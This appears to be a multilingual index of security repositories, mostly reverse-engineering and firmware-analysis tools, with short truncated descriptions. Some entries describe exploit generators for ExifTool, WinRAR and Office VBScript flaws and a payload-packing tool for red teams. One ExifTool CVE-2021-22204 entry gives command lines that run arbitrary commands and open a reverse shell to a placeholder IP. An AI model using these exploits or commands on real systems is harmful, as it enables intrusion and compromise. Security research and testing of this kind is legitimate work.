mtk_bp

MediaTek BP ファームウェアツール このリポジトリには、MediaTek モデムファームウェアに関連する Kaitai ベースのファイル形式定義と、これらのファイル形式を操作するための基本的なコマンドラインツールが含まれています。Kaitai IDE を使用して、Kaitai 定義（mtkstructs ディレクトリにある .ksy ファイル）を使ってファイルを対話的に調査することもできます。 これらの定義に基づく md1img ファイル用の Ghidra ローダーは、https://github.com/nccgroup/ghidra-mtk-loader で入手できます。...

rizin

Rizin Rizin は、radare2 のフォークとして生まれたリバースエンジニアリングフレームワークで、 使いやすさ、機能、そしてクリーンさに重点を置いています。 Rizin はポータブルで、バイナリの解析、コードの逆アセンブル、プログラムのデバッグ、 フォレンジックツール、ディスクファイルを開けるスクリプト可能なコマンドラインヘキサ デシマルエディタなどとして使用できます。 Rizin についてもっと知りたい場合は、 公式 Rizin ブック をお読みになることをお勧めします。 インストール方法 Webサイトの インストール手順 をご覧ください。 ビルド方法 meson を使用し...

unblob

unblob 정확하고 빠르며 사용하기 쉬운 바이너리 블롭 추출 제품군. unblob은 알 수 없는 바이너리 블롭에서 78개 이상의 아카이브, 압축, 파일 시스템 포맷 을 파싱하고, 콘텐츠를 재귀적으로 추출하며, 알 수 없는 청크를 조각냅니다. 펌웨어 이미지를 추출, 분석 및 리버스 엔지니어링하기 위한 완벽한 도구입니다. 데모 기능 78개 이상의 지원 포맷 — SquashFS, JFFS2, UBI/UBIFS, ext, CPIO, ZIP, 7-Zip, gzip, XZ, LZMA, LZ4 등 아카이브, 압축 스트림, 파일 시스템을...

interactive-binary-structures

インタラクティブバイナリ構造 理論的なドキュメントとバイナリ形式やシステムメモリレイアウトの実践的な分析との間のギャップを埋めるために設計された、インタラクティブなWebベースのツールキット。 Portable Executable PE フォーマットドキュメント このツールは、Windows PEファイルの正確なバイト構造をインタラクティブなビジュアルマップとして提供し、ディスク上でのレイアウトと、ロード後にメモリにどのようにマッピングされるかを示します。マルウェアアナリスト、リバースエンジニア、サイバーセキュリティの学生のために特別に設計されています。...

hashcat

hashcat hashcat is the world's fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to...

CVE-2021-22204

CVE-2021-22204 CVE 요약 ExifTool 7.44 이상 버전의 DjVu 파일 형식에서 사용자 데이터에 대한 부적절한 위생 처리는 악성 이미지를 분석할 때 임의 코드 실행을 허용합니다. 영향받는 버전 버전 7.44 - 12.23 특이 사항 의존성: djvulibre-bin exiftool 다음 세 명령을 호출합니다: bzz, dvjumake, exiftool 참고 자료 Github POC - Gustavo Dutra, May 11 2021 사례 연구: CVE-2021-22204 Exiftool RCE - Gusta...

igvm

igvm 이 프로젝트는 IGVMIndependent Guest Virtual Machine 파일 형식의 본거지입니다. 형식 사양은 igvmdefs 크레이트에서 찾을 수 있으며, 바이너리 형식의 Rust 구현체는 igvm 크레이트에 있습니다. IGVM 파일 형식은 AMD SEV-SNP 및 Intel TDX와 같은 다양한 격리 기술을 지원하면서, 모든 가상화 스택에서 가상 머신을 실행하는 데 필요한 모든 정보를 캡슐화하도록 설계되었습니다. 개념적으로 이 파일 형식은 파일을 생성한 도구에 의해 만들어진 명령 집합이며, 로더가 초기...

CVE-2018-8174-msf

CVE-2018-8174-msf 이것은 CVE-2018-8174 - VBScript 메모리 손상 취약점을 악용하는 악성 워드 문서를 생성하는 metasploit 모듈입니다. 이 모듈은 매우 빠른 포트이며 실제 현장에서 발견된 익스플로잇 샘플을 사용합니다. 이 익스플로잇은 Microsoft Office 32비트에서만 작동합니다. 이 모듈은 개선해야 할 점이 많지만, 시간이 나면 나중에 업데이트할 예정입니다. 설치 1. CVE-2018-8174.rb를...

winrar-cve-2023-38831-poc-gen

CVE-2023-38831 エクスプロイトジェネレーター このツールは、RARファイル形式の脆弱性（CVE-2023-38831）を悪用して、ユーザーがベイトファイルを開いた際に悪意のあるコマンドを実行するPythonスクリプトです。このエクスプロイトは、WinRAR 6.23より前のバージョン（例：6.22、6.21、6.20、またはそれ以前）で動作します。 要件 Python または python3 使用方法 このツールには2つの使用方法があります： 概念実証エクスプロイトを生成するには、引数 poc を付けてスクリプトを実行します： python...

pyxamstore

Xamarin AssemblyStore Explorer pyxamstore This is an alpha release of an assemblies.blob AssemblyStore parser written in Python. The tool is capable of unpack and repackaging assemblies.blob and assemblies.manifest Xamarin files from an APK. Installing Run the installer script: root@kitploit:...

packer-tutorial

目次 1. パッカーとは何か？ : パッカーの目的の紹介と、パッカーに必要な開発要素についてのガイド。 2. 前提条件 : このチュートリアルで使用するために必要なツール。 3. 実際に試す : このチュートリアルで構築する内容のデモ。 4. CMakeプロジェクトの設計 : パッカーのやや複雑なニーズに合わせたビルドシステムを構築するためのミニCMakeチュートリアル。 5. バイナリをスタブにパックする : パッカー/スタブの組み合わせのうちパッカー部分を書く方法のチュートリアル、およびWindows実行可能ファイル形式の入門。 1. リソースの管理 2. PEファイルの解析 3...

choronzon

Choronzon - 進化的知識ベースファザー はじめに この文書は、Choronzon の背後にある理論を簡潔に説明することを目的としています。さらに、内部の詳細と、Choronzon を拡張して新しい要件に対応する方法について説明します。Choronzon のアーキテクチャの概要は、当初 ZeroNights 2015 カンファレンス で発表されました。発表の録画とスライドデッキも入手可能です。 Choronzon...

ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

tachyon

Tachyon Tachyon is a fast web application security reconnaissance tool. It is specifically meant to crawl a web application and look for left over or non-indexed files with the addition of reporting pages or scripts leaking internal data. User Requirements Linux Python 3.6+ User Installation...

PackMyPayload

PackMyPayload - 容器化恶意软件的新兴威胁 跳转到支持的格式 该工具接收文件或目录作为输入，并将其嵌入到充当归档/容器的输出文件中。它可作为概念验证，展示容器文件格式与嵌入恶意软件的新兴风险，同时作为专业红队操作员的助手，以优化其初始访问策略。 目前已知威胁行为者通过多种容器文件格式走私恶意软件，例如： 7zip zip ISO IMG 他们这样做是为了让有效载荷绕过文件内容扫描器，但更重要的是避免在其文件上留下“网络标记”标志 。攻击者不希望在其文件上出现 MOTW 的原因有多种：Microsoft Office 中的受保护视图 一直是其中之一。...

decoder-plus-plus

Decoder++ Decoder++ is an extensible application designed for penetration testers, software developers, and anyone in between looking to effortlessly decode and encode data across various formats. It includes a wide range of preinstalled scripts and codecs, smart decoding and format identificatio...

010-Editor-Template

010-Editor-Template https://www.sweetscape.com/010editor/repository/files/010.bt https://www.sweetscape.com/010editor/repository/files/010Theme.bt https://www.sweetscape.com/010editor/repository/files/7ZIP.bt https://www.sweetscape.com/010editor/repository/files/ADF.bt...

cart

CaRT（圧縮および RC4 転送） CaRT ファイル形式は、マルウェアとそれに関連するメタデータを保存・転送するために使用されます。この形式は、マルウェアを無害化して実行できないようにし、さらに暗号化することで、アンチウイルスソフトウェアが CaRT ファイルをマルウェアとしてフラグ付けできないようにします。 利点 高速: CaRT はファイルを zip 圧縮するのと同じくらい高速です ストリーミング: CaRT は zlib と RC4 を使用するため、ファイルをストリーミングでエンコードできます メタデータ: CaRT...

CVE-2021-22204

CVE-2021-22204 설명 ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다. 스크립트 스크립트 링크 스크립트 사용법: 시스템 명령: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg 리버스 셸: root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 자신의 IP와 포트 수동 익스플로잇...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: wireshark (UTSA-2026-104790)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-104790 advisory. Tektronix K12xx file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service Tenable has extracted the preceding description block directly from...